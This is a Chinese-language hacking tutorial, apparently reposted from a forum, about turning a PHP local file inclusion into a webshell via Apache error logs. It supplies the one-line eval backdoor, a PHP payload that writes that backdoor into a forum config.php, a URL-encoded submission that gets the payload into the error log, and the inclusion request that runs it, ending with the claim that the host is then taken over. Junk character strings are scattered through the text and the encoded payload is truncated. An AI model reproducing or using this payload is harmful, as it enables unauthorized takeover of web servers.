php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
# i  Y+ I' y3 N& o) K
1 `! g/ {8 S* m比如还是这句一句话木马
% n, ^8 |) C  V8 }<?eval($_POST[cmd]);?>   
9 G0 |$ E$ r2 ^" I5 [/ R
# p; k% q  Y  ^1 b/ B到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
2 Q! M4 `9 ]1 h5 u  k* ^fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
$ B3 Z' h( B; y- ]" D
9 A# {% c5 X- C4 L. k1 w<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
# e. G0 v, w8 b: K3 X9 g* Gfclose($fp);?>   //在config.php里写入一句木马语句

我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。

- P5 O: I  I$ F%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F

6 P* X: `* M3 O这样就错误日志里就记录下了这行写入webshell的代码。
) `- s; P9 W  g% H我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
- ]# R' G% |- x
' X; S8 f. M% c9 H. u这样webshell就写入成功了，config.php里就写入一句木马语句
) K9 F7 `2 N- }. j* YOK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
